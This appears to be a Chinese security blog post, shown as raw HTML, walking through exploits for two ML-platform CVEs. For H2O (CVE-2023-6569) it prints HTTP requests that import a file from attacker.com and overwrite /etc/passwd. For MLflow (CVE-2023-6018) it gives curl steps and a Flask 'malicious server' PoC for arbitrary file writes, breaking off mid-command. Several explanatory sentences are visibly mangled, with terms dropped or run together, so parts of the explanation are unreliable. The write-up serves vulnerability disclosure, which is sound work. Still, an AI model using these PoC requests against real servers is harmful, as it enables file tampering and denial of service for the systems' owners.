center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000569" data-ratio="0.3388888888888889" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c99a1c89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSuJOx7kHZLZGyKUwQulJqh6ctObLia9761p2PjK5siaWrXFfqyMGKB5Mg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;"><br/></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000570" data-ratio="0.3453703703703704" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c5079e0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSDG7oYtgTZsWwCw7xQRmiaca2BGiay6ACzCwUwibIWIEibsgTgCCsUEKxnw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;"><br/></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000571" data-ratio="0.3472222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b9d47ebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSYYUrMxibBicTXVLCHshaib2VL0syjo4IyYvwic8qJdK8NdXcaJImCZ2FIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;"><br/></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>04</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>AI供应链漏洞（CVE-2023-6569）</p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="text-indent: 2em;color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">CVE-2023-6569，</span><span style="text-indent: 2em;color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">H2O 是一个开源、分布式、快速和可扩展的机器学习平台：深度学习、梯度提升 （GBM） 和 XGBoost、随机森林、广义线性建模（GLM with Elastic Net）、K-Means、PCA、广义加法模型 （GAM）、RuleFit、支持向量机 （SVM）、堆叠集成、自动机器学习 （AutoML） 等。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000576" data-ratio="0.48055555555555557" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9aa6408c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSiaPBuLfky8WPbh6TvrP6fmhU1JyQ8xMKOyddw2Lu9FWnf4SqGS2QbeA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="text-indent: 2em;color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span><span style="text-indent: 2em;color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">它包含一个可通过网络访问的 API 调用，该调用将文件保存到服务器的磁盘，并包括覆盖任意文件的能力。写入磁盘的数据采用 CSV 格式，可防止此攻击用于替换敏感的配置文件（如 SSH 密钥），但可能会覆盖服务器运行所需的系统文件，从而导致拒绝服务。</span><span style="text-indent: 2em;font-size: 1em;color: rgb(198, 120, 221);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;background-color: rgba(255, 255, 255, 0.05);letter-spacing: normal;text-align: start;"></span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/3/ImportFiles?path=<a href="http://attacker.com/somefile" target="_blank">http://attacker.com/somefile</a></span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 127.0.0.1:54321</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: application/json, text/javascript, */*; q=0.01</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: en-US,en;q=0.5</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">X-Requested-With</span>: XMLHttpRequest</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Referer</span>: <a href="http://127.0.0.1:54321/flow/index.html" target="_blank">http://127.0.0.1:54321/flow/index.html</a></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Sec-Fetch-Dest</span>: empty</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Sec-Fetch-Mode</span>: cors</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Sec-Fetch-Site</span>: same-origin</span></code></pre></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">覆盖运行 h2o.init（） 的用户有权访问的任何任意文件：</span><span style="color: rgb(198, 120, 221);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;background-color: rgba(255, 255, 255, 0.05);letter-spacing: normal;text-align: start;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/3/Frames/someattackerimportedframename/export?path=/etc/passwd&amp;force=true</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 127.0.0.1:54321</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: application/json, text/javascript, */*; q=0.01</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: en-US,en;q=0.5</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">X-Requested-With</span>: XMLHttpRequest</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Referer</span>: <a href="http://127.0.0.1:54321/flow/index.html" target="_blank">http://127.0.0.1:54321/flow/index.html</a></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Sec-Fetch-Dest</span>: empty</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Sec-Fetch-Mode</span>: cors</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Sec-Fetch-Site</span>: same-origin</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 0</span></code></pre></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">攻击者可以控制的数据并不完全是任意的。h2o 将 CSV/XLS/etc 文件写入磁盘，因此攻击者数据用引号括起来，如果它们导出为 CSV，则以“C1”开头。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000572" data-ratio="0.687962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d384c0b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSlp4keZicKoFiapS62g0pUJx2vrGFSgLjrRibibzP340BfbxEueV88hghDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;"><br/></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>05</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>AI供应链漏洞（CVE-2023-6018）</p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">CVE-2023-6018，<span style="color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">MLflow 是一个用于简化机器学习开发的平台，包括跟踪实验、打包代码 进入可重现的运行，并共享和部署模型。MLflow 提供了一组轻量级 API，这些 API 可以 无论您身在何处，都可以与任何现有的机器学习应用程序或库（TensorFlow、PyTorch、XGBoost 等）一起使用 目前运行 ML 代码（例如在笔记本、独立应用程序或云中）。</span></span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000574" data-ratio="0.675" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f26a0e1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSNEkN1YA98ZgVtTcqzZCaegdpuricasiaKTUx86xkribWzKgGR5rsuAibsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">Web 服务器包括用于跟踪实验、将代码打包到可重现运行以及共享和部署模型的工具。可以使用以下命令运行它</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">mlflow</span> <span class="code-snippet__selector-tag">ui</span> <span class="code-snippet__selector-tag">--host</span> 127<span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.1</span><span class="code-snippet__selector-pseudo">:5000</span></span></code></pre></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">从所有提供的功能中，它允许创建 AI 模型。这可以通过向以下 curl 请求发出请求或使用以下 curl 请求来完成：/ajax-api/2.0/mlflow/model-versions/create</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">curl -<span class="code-snippet__type">X</span> <span class="code-snippet__type">POST</span> -<span class="code-snippet__type">H</span> &#39;<span class="code-snippet__type">Content</span>-<span class="code-snippet__type">Type</span>: application/json&#39; -d &#39;{<span class="code-snippet__string">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;...&#34;</span>, <span class="code-snippet__string">&#34;source&#34;</span>: <span class="code-snippet__string">&#34;...&#34;</span>}&#39; &#39;http:<span class="code-snippet__comment">//127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create&#39;</span></span></code></pre></section><p msttexthash="204566050" msthash="52" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此终结点采用多个参数，但其中只有 2 个参数对此问题有用：</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">name：型号名称。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">source：模型源。</span></p><p msttexthash="74606766" msthash="55" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">以下是 source 属性允许的协议：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[&#39;&#39;, &#39;file&#39;, &#39;s3&#39;, &#39;gs&#39;, &#39;wasbs&#39;, &#39;ftp&#39;, &#39;sftp&#39;, &#39;dbfs&#39;, &#39;hdfs&#39;, &#39;viewfs&#39;, &#39;runs&#39;, &#39;models&#39;, &#39;http&#39;, &#39;https&#39;, &#39;mlflow-artifacts&#39;]</span></code></pre></section><p msttexthash="109818098" msthash="56" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在所有这些协议中，本报告将只关注 2 个：</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">http：提供的 URL 路径必须以 开头。https/api/2.0/mlflow-artifacts/artifacts/</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">models：这是一个自定义包装器，旨在将其链接到另一个模型。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">如果创建的模型与另一个具有 .source=models:/&lt;model&gt;/&lt;version&gt;http://&lt;attacker&gt;/api/2.0/mlflow-artifacts/artifacts/</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在这种情况下，当第一个请求时，它将触发以下代码块：/model-versions/get-artifact?path=...&amp;name=...&amp;version=...</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">self</span>._is_directory(artifact_path):</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> file_info <span class="code-snippet__keyword">in</span> <span class="code-snippet__keyword">self</span>._iter_artifacts_recursive(artifact_path):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> file_info.is_dir:  <span class="code-snippet__meta"># Empty directory</span></span></code><code><span class="code-snippet_outer">            os.makedirs(os.path.join(dst_path, file_info.path), exist_ok=True)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">            fut = _download_file(file_info.path, dst_path)</span></code><code><span class="code-snippet_outer">            futures[fut] = file_info.path</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">    fut = _download_file(artifact_path, dst_path)</span></code><code><span class="code-snippet_outer">    futures[fut] = artifact_path</span></code></pre></section><p msttexthash="64906647" msthash="62" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此代码片段将执行以下操作：</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">1.服务器上的请求（从第二个模型获得的链接）。/api/2.0/mlflow-artifacts/artifactsattacker</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">2.解析 JSON 响应，该响应必须与以下结构匹配：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;files&#34;</span>: [</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;path&#34;</span>: <span class="code-snippet__string">&#34;...&#34;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;is_dir&#34;</span>: <span class="code-snippet__literal">false</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">&#34;file_size&#34;</span>: <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    ]</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对于属性中列出的每个文件，它将获取并写入属性值的输出。由于没有检查，因此可以在系统上创建和控制任何文件，即</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">files/api/2.0/mlflow-artifacts/artifacts/[path]path/tmp/random</span></code></pre></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">为了滥用此漏洞，必须设置一个恶意的HTTP服务器来控制写入路径和数据。以下一个将用于接下来的 2 个 PoC：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> flask <span class="code-snippet__keyword">import</span> Flask, jsonify</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">app = Flask(__name__)</span></code><code><span class="code-snippet_outer">app.config[<span class="code-snippet__string">&#34;DEBUG&#34;</span>] = <span class="code-snippet__keyword">True</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@app.errorhandler(404)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">page_not_found</span><span class="code-snippet__params">(e)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;Hello World!&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@app.route(&#34;/api/2.0/mlflow-artifacts/artifacts&#34;)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">index</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> jsonify({</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;files&#34;</span>: [</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__string">&#34;path&#34;</span>: <span class="code-snippet__string">&#34;/tmp/poc&#34;</span>,</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__string">&#34;is_dir&#34;</span>: <span class="code-snippet__keyword">False</span>,</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__string">&#34;file_size&#34;</span>: <span class="code-snippet__number">50</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        ]</span></code><code><span class="code-snippet_outer">    })</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">app.run(<span class="code-snippet__string">&#34;0.0.0.0&#34;</span>, <span class="code-snippet__number">4444</span>)</span></code></pre></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;text-indent: 0em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">启动 mlflow Web 服务器：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">mlflow</span> <span class="code-snippet__selector-tag">ui</span> <span class="code-snippet__selector-tag">--host</span> 127<span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.1</span><span class="code-snippet__selector-pseudo">:5000</span></span></code></pre></section><section style="text-indent: 0em;margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">启动攻击服务器：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">python</span> <span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-class">.py</span></span></code></pre></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: justify;text-indent: 0em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">创建已注册的模型：</span></section><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">curl</span> -X POST -H <span class="code-snippet__string">&#39;Content-Type: application/json&#39;</span> -d <span class="code-snippet__string">&#39;{&#34;name&#34;: &#34;poc&#34;}&#39;</span> <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create" target="_blank">http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create</a>&#39;</span></span></code></pre></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: left;text-indent: 0em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">创建第一个模型：（将与恶意服务器相关联）</span></section><pre style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">curl -<span class="code-snippet__type">X</span> <span class="code-snippet__type">POST</span> -<span class="code-snippet__type">H</span> &#39;<span class="code-snippet__type">Content</span>-<span class="code-snippet__type">Type</span>: application/json&#39; -d &#39;{<span class="code-snippet__string">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;poc&#34;</span>, <span class="code-snippet__string">&#34;source&#34;</span>: <span 